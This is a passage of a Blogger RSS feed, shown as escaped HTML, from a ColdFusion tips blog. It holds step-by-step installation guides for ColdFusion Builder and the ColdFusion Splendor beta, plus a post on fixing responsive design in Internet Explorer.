&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq_ZIQD6CssycD8Eyn-wkHl8LKONkTrcfvGjt6bmUi2XEYl6guqTmsbAtSYIZwRYpbLMQFDIL08jY40An6-hav6jh0RC3Enk57iFb6rnz36EwhFwbN92vAIy9KkT5wTbT7ar9OGXy_QDkD/s1600/06.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq_ZIQD6CssycD8Eyn-wkHl8LKONkTrcfvGjt6bmUi2XEYl6guqTmsbAtSYIZwRYpbLMQFDIL08jY40An6-hav6jh0RC3Enk57iFb6rnz36EwhFwbN92vAIy9KkT5wTbT7ar9OGXy_QDkD/s1600/06.png&quot; height=&quot;459&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&amp;nbsp;&lt;b&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;Step 7:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt; Once review the information and
click install&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4h8_E0MSogYPdu7JLFQO5ao9YML7fMQ8DyQUn-5pnWZHwykYA66LDJ3Vh8TvlUAr8zhHvoy0dfdQlII1M3gSF1mxlZa1NVD4vu82oiGVmdbaHOVj7WS7uJ_41fnXky3Ct-WFX9EZoOiUm/s1600/07.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4h8_E0MSogYPdu7JLFQO5ao9YML7fMQ8DyQUn-5pnWZHwykYA66LDJ3Vh8TvlUAr8zhHvoy0dfdQlII1M3gSF1mxlZa1NVD4vu82oiGVmdbaHOVj7WS7uJ_41fnXky3Ct-WFX9EZoOiUm/s1600/07.png&quot; height=&quot;451&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&amp;nbsp;&amp;nbsp;&lt;b&gt;Step 8:&lt;/b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp;It shows a pop up like this&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkp8bLp4r1RrKUFDzHhgrLtCkTifRXVY2wBy_n7RU2ZPt5CozuTG9QlxYc6yjoKt77kVhg8jOkjkon73gmearn10GA9VWkztfm7BofGNunL6aXeeXf_SRI7aQpHv8W0_OW4hBU9w7ER6WW/s1600/08.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkp8bLp4r1RrKUFDzHhgrLtCkTifRXVY2wBy_n7RU2ZPt5CozuTG9QlxYc6yjoKt77kVhg8jOkjkon73gmearn10GA9VWkztfm7BofGNunL6aXeeXf_SRI7aQpHv8W0_OW4hBU9w7ER6WW/s1600/08.png&quot; height=&quot;452&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;
&amp;nbsp;&lt;b&gt;Step 9:&lt;/b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp;If you see this screen, your installation process is successful&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWLu_t_TjyvTUFCVDFveyN-_ztcQO3HjHtRqK3oWxHxtdPwq2wLrRnOGWRiEdIt_AbUtEjZOA8pHPa4BE7-4XE6Tz8W4BbmSTh7tYibl-FAxkXxGyeoYff-lO4abWxAE_MGCMAgRRxXM2e/s1600/09.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWLu_t_TjyvTUFCVDFveyN-_ztcQO3HjHtRqK3oWxHxtdPwq2wLrRnOGWRiEdIt_AbUtEjZOA8pHPa4BE7-4XE6Tz8W4BbmSTh7tYibl-FAxkXxGyeoYff-lO4abWxAE_MGCMAgRRxXM2e/s1600/09.png&quot; height=&quot;460&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b style=&quot;font-size: 16px; line-height: 18.399999618530273px;&quot;&gt;Step 10:&lt;/b&gt;&lt;span style=&quot;font-size: 12pt; line-height: 18.399999618530273px;&quot;&gt;&amp;nbsp;After installation, if you receive any windows firewall messages click allow access&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt; line-height: 18.399999618530273px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6F4QQtbiDLEebC5rIEILnFWItyOgWXs8rvxiDgT7IE3K_ao3zDlyjEMhAESPSwwBgeOiNXV-xi24mpP3BGGNoChsYjdFZav5jKJ_albh-VTVRS32Y4haA15MupJkBEzE2lNCHxN04_b92/s1600/11.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6F4QQtbiDLEebC5rIEILnFWItyOgWXs8rvxiDgT7IE3K_ao3zDlyjEMhAESPSwwBgeOiNXV-xi24mpP3BGGNoChsYjdFZav5jKJ_albh-VTVRS32Y4haA15MupJkBEzE2lNCHxN04_b92/s1600/11.png&quot; height=&quot;412&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&amp;nbsp;&amp;nbsp;&lt;b&gt;&lt;span style=&quot;font-size: 12pt; line-height: 18.399999618530273px;&quot;&gt;Step 11:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 12pt; line-height: 18.399999618530273px;&quot;&gt;&amp;nbsp;Here you have to select the default work space and then click &quot;Ok&quot;.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt; line-height: 18.399999618530273px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDY4naDeTuaFapIis_Ts8VoXpzA7FmnMljSV6ikQ3Z56KDDRhMu3rLxvUhuRmFXZTPxQpkNSCm0AhqnGUAMOIE8rOJXqh22YmwA0fOQ71iDgnoBC4B4_wmoT1wYxWTF-ImJUAc9EL_3601/s1600/12.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDY4naDeTuaFapIis_Ts8VoXpzA7FmnMljSV6ikQ3Z56KDDRhMu3rLxvUhuRmFXZTPxQpkNSCm0AhqnGUAMOIE8rOJXqh22YmwA0fOQ71iDgnoBC4B4_wmoT1wYxWTF-ImJUAc9EL_3601/s1600/12.png&quot; height=&quot;291&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;Step 12:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt; ColdFusion builder is opened&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeWmZUmbIpW_54qJp0xGzcGKh47BZY60b_bZ3Ry7gLHVEy5OHZZDqT5QFwQ3i6kkiO6Kx6Ew1Gu4E6wGtbjf3UTw55-F3wHICUhnNThBlqB0O2xdIzA3cjCJsei7dAaeotESwwp4-7p1hK/s1600/13.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeWmZUmbIpW_54qJp0xGzcGKh47BZY60b_bZ3Ry7gLHVEy5OHZZDqT5QFwQ3i6kkiO6Kx6Ew1Gu4E6wGtbjf3UTw55-F3wHICUhnNThBlqB0O2xdIzA3cjCJsei7dAaeotESwwp4-7p1hK/s1600/13.png&quot; height=&quot;441&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2014/03/installationof-coldfusion-builder-cf.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTrjR5ZhbFTHqEafUFPHzorARhsuK3IgLek5OlfMYXS7Tm_1WpFycRWLi09qc9Z18zGKBJewPxWncfIbBwtbCxnBdjD422wQ1cMR_KwriblFC0Z_Tm3_iqj-m82SPQwoc_6yUJtorcuv_8/s72-c/01.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-1525931042825460306</guid><pubDate>Wed, 19 Mar 2014 07:58:00 +0000</pubDate><atom:updated>2014-03-19T17:16:18.288+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">CSS</category><category domain="http://www.blogger.com/atom/ns#">Responsive Design</category><category domain="http://www.blogger.com/atom/ns#">Responsive UI</category><title>Responsive Design Issues and it&#39;s Solution in Internet Explorer( IE )</title><description>If you have worked on making an existing site to responsive then you might have faced some problems related to browser compatibility. Recently I was working on making a site responsive and I faced few challenges and I&#39;m going to describe those below:&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;b&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;My responsive design working perfectly in FF and Chrome but in any version of IE it&#39;s not working. So, what is the issue?&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/b&gt;&lt;/ul&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;/ol&gt;
&lt;div&gt;
First go to the header of your HTML page and if you have DOCTTYPE declaration like below&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
then change it to &quot;&lt;b&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&lt;/b&gt;&quot; because this one supports HTML 5 standard and responsive design is a HTML 5 feature.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Search for meta tag &quot;&lt;span style=&quot;color: #274e13;&quot;&gt;X-UA-Compatible&lt;/span&gt;&quot;&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
In my case my project has this meta tag with value &quot;&lt;b&gt;IE=8&lt;/b&gt;&quot;. So, what does it mean?? It forces the browser to load the content with IE=8 compatible mode and IE=8 doesn&#39;t support responsive, so my responsive design was not working.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;What is the solution for it&lt;/b&gt;?? Ans: Change that meta tag value to &quot;&lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;IE=edge&lt;/span&gt;&lt;/b&gt;&quot;. This means it sets the browser to load in latest standard. For more details about it go through this:&amp;nbsp;&lt;a href=&quot;http://www.chromium.org/developers/how-tos/chrome-frame-getting-started&quot;&gt;http://www.chromium.org/developers/how-tos/chrome-frame-getting-started&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;Now, my responsive design is working fine in FF, Chrome and IE9+ but what about IE8 and below version browsers?? Is there any work around for it?&lt;/i&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Normally IE8 and below browser doesn&#39;t support responsive styles like media and all these things, to make it work in those browsers few JavaScript libraries are available and using that you can get that benefit. Following are the JavaScript libraries we can use to make it work:&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
- &lt;a href=&quot;https://github.com/scottjehl/Respond&quot; target=&quot;_blank&quot;&gt;Respond&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
-&amp;nbsp;&lt;a href=&quot;https://code.google.com/p/css3-mediaqueries-js/&quot; target=&quot;_blank&quot;&gt;css3-mediaqueries-js&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2014/03/responsive-design-issues-and-its.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>10</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-1122608292568726854</guid><pubDate>Wed, 19 Mar 2014 07:22:00 +0000</pubDate><atom:updated>2014-03-19T19:03:19.189+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 11</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion Splendor</category><category domain="http://www.blogger.com/atom/ns#">Installing ColdFusin Server</category><title>ColdFusion Splendor Beta Installation Procedure</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h2 style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;ColdFusion&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp;Splendor Beta Installation Procedure :&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Open a Web browser and go to http://labs.adobe.com/technologies/coldfusion/ and login using your Adobe ID.&lt;/li&gt;
&lt;li&gt;&amp;nbsp;Download ColdFusion Project Splendor and ColdFusion Builder Project Thunder.&lt;/li&gt;
&lt;li&gt;&amp;nbsp;Save the file to your desktop.&lt;/li&gt;
&lt;li&gt;&amp;nbsp;Once downloaded ColdFusion Splendor and ColdFusion Builder Thunder, Double Click on ColdFusion Splendor.&lt;/li&gt;
&lt;li&gt;Click &quot;Next&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtu7M1hocVVuYO_W1o_bCBUKOyrbsFSr4m3sPBGA47RHeOvK-zk0-VhI9baMtdjYNLMZoEFXk6XPKXH3fBs26IF9pDbk9LhSBcKi9DbJ6j4Ik2jUVJ9RzyKMsGmRitDj-ACsbXT4EXXgo/s1600/splendor1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtu7M1hocVVuYO_W1o_bCBUKOyrbsFSr4m3sPBGA47RHeOvK-zk0-VhI9baMtdjYNLMZoEFXk6XPKXH3fBs26IF9pDbk9LhSBcKi9DbJ6j4Ik2jUVJ9RzyKMsGmRitDj-ACsbXT4EXXgo/s1600/splendor1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Accept the terms and conditions and click &quot;Next&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicz26Bz-SbDMxky_KLea_6pC-Q5lwk2REzPKnBnXM36oCKfz4M0r2xLNoFr0tRVSmrDE1gpffDcE4FEOJIlw66yTzyjj2MIDbO6ALWMS2O5yeTVYMCqXP6-yHPKFxP5TA3eEC8lrBrQEY/s1600/splendor2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicz26Bz-SbDMxky_KLea_6pC-Q5lwk2REzPKnBnXM36oCKfz4M0r2xLNoFr0tRVSmrDE1gpffDcE4FEOJIlw66yTzyjj2MIDbO6ALWMS2O5yeTVYMCqXP6-yHPKFxP5TA3eEC8lrBrQEY/s1600/splendor2.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
In the Process of Installing the ColdFusion Splendor if it asks for Microsoft Visual C++ 2012 to install. Click &quot;Ok&quot; and repeat the Following Procedure.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih2wyv-cYlZsb03nfjyItfRlJgDD1ZLltaU2ogHvGnyemcv-r_5KggWvqcAu9EqQF5KcRPicjycgoelGREF850Exwe8ZvznwKM7cIoflDD47raP6d5tqZD1WgbN437ca3hKceouZbonpc/s1600/splendor.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih2wyv-cYlZsb03nfjyItfRlJgDD1ZLltaU2ogHvGnyemcv-r_5KggWvqcAu9EqQF5KcRPicjycgoelGREF850Exwe8ZvznwKM7cIoflDD47raP6d5tqZD1WgbN437ca3hKceouZbonpc/s1600/splendor.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;When you see the screen below, select &quot;Developer Edition&quot; and click &quot;Next&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnbPO4ETo-ihYp0PkB8gdP2GVd3ZVJg1YYa6F-wYU1yUA7hZJewFQnYMeC5oNT60C_EW_h08kMwUZo3LcEmqoqMAx0-qp17e1cW6w-dBX_9q4V3KVYl3hwaOofGwR-XV5wkYLjw6SWk8I/s1600/splendor3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnbPO4ETo-ihYp0PkB8gdP2GVd3ZVJg1YYa6F-wYU1yUA7hZJewFQnYMeC5oNT60C_EW_h08kMwUZo3LcEmqoqMAx0-qp17e1cW6w-dBX_9q4V3KVYl3hwaOofGwR-XV5wkYLjw6SWk8I/s1600/splendor3.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Select Server configuration and click &quot;Next&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN7XlKIlV0nnZbNQniAAh8ADtUtXePqBMgOpdT2fddR8L9WtZTye8lDN-1Jk-ItiqES4bOAH7x5V9Wa9qa02Jz1InOdm0RTU0lIrc_Ekhvzy92EvmiRjcT4DPM_nuEZnH1VQqoclTFf8E/s1600/splendor4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN7XlKIlV0nnZbNQniAAh8ADtUtXePqBMgOpdT2fddR8L9WtZTye8lDN-1Jk-ItiqES4bOAH7x5V9Wa9qa02Jz1InOdm0RTU0lIrc_Ekhvzy92EvmiRjcT4DPM_nuEZnH1VQqoclTFf8E/s1600/splendor4.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;Leave the &quot;Enable Secure Profile&quot; check box unchecked and click &quot;Next&quot;. As it is a development and we don&#39;t want to enable secure profile so we left it unchecked but for production server you must check it.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Uu7zUhxP42_Lx5ujwB5xP4-WTNz-do2vfu1WWMDpTxKFht62gle2asScrOQ7aebuR01yzFhtr83q2fqO-Qg4pr3WXg3x5qQTKJCyDth9vY9oM0oz-ecjdkqVLyIZ4nSE0atVd1pr0Tk/s1600/splendor5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Uu7zUhxP42_Lx5ujwB5xP4-WTNz-do2vfu1WWMDpTxKFht62gle2asScrOQ7aebuR01yzFhtr83q2fqO-Qg4pr3WXg3x5qQTKJCyDth9vY9oM0oz-ecjdkqVLyIZ4nSE0atVd1pr0Tk/s1600/splendor5.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
